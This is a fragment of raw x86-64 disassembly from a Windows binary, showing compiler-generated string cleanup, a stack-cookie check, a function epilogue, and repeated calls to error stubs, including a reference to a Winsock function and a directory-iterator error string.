mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c952e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400c972a
call fcn.14014fd6c
xor eax, eax
mov qword [rsp + 0x3a0], rax
mov qword [rsp + 0x3a8], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x390], al
mov rdx, qword [rsp + 0x438]
cmp rdx, 0x10
jb 0x1400c9594
inc rdx
mov rcx, qword [rsp + 0x420]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c958e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400c9730
call fcn.14014fd6c
nop
mov rdx, qword [rsp + 0x358]
cmp rdx, 0x10
jb 0x1400c95d8
inc rdx
mov rcx, qword [rsp + 0x340]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c95d2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400c9736
call fcn.14014fd6c
nop
mov rdx, qword [rsp + 0x378]
cmp rdx, 0x10
jb 0x1400c961c
inc rdx
mov rcx, qword [rsp + 0x360]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c9616
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400c973c
call fcn.14014fd6c
nop
mov rcx, qword [rsp + 0x558]
xor rcx, rsp
call fcn.14014fd10
lea r11, [rsp + 0x560]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
ret
call fcn.140001fd0
nop
call fcn.140001fd0
nop
call fcn.140001fd0
nop
call fcn.140001fd0
nop
call fcn.140001fd0
nop
call fcn.14015ee94
nop
lea r8, [rsp + 0x210]
mov edx, eax
lea rcx, str.directory_iterator::directory_iterator
call fcn.140005710
nop
call fcn.14015ee94
nop
call fcn.140001fd0
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
int3
call fcn.140001fd0
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
int3
call fcn.140001fd0
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.140001fd0
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
int3